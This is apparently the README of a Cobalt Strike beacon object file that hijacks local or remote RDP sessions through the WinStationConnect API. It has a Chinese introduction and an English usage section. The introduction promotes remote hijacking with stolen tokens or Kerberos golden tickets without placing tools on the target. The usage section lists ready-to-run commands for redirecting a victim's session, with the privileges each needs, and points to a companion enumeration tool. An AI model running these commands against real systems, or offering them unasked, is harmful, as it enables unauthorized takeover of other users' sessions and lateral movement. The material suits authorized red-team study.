Cobalt Strike 信标对象文件 (BOF),使用 WinStationConnect API 执行本地/远程 RDP 会话劫持。拥有会话所有者的有效访问令牌 / Kerberos 票据(例如黄金票据)后,您将能够远程劫持该会话,而无需在目标服务器上放置任何信标/工具。
要在本地/远程枚举会话,您可以使用 Quser-BOF。

Usage: bof-rdphijack [your console session id] [target session id to hijack] [password|server] [argument]
Command Description
-------- -----------
password Specifies the password of the user who owns the session to which you want to connect.
server Specifies the remote server that you want to perform RDP hijacking.
Sample usage
--------
Redirect session 2 to session 1 (require SYSTEM privilege):
bof-rdphijack 1 2
Redirect session 2 to session 1 with password of the user who owns the session 2 (require high integrity beacon):
bof-rdphijack 1 2 password P@ssw0rd123
Redirect session 2 to session 1 for a remote server (require token/ticket of the user who owns the session 2):
bof-rdphijack 1 2 server SQL01.lab.internal
make
tscon.exe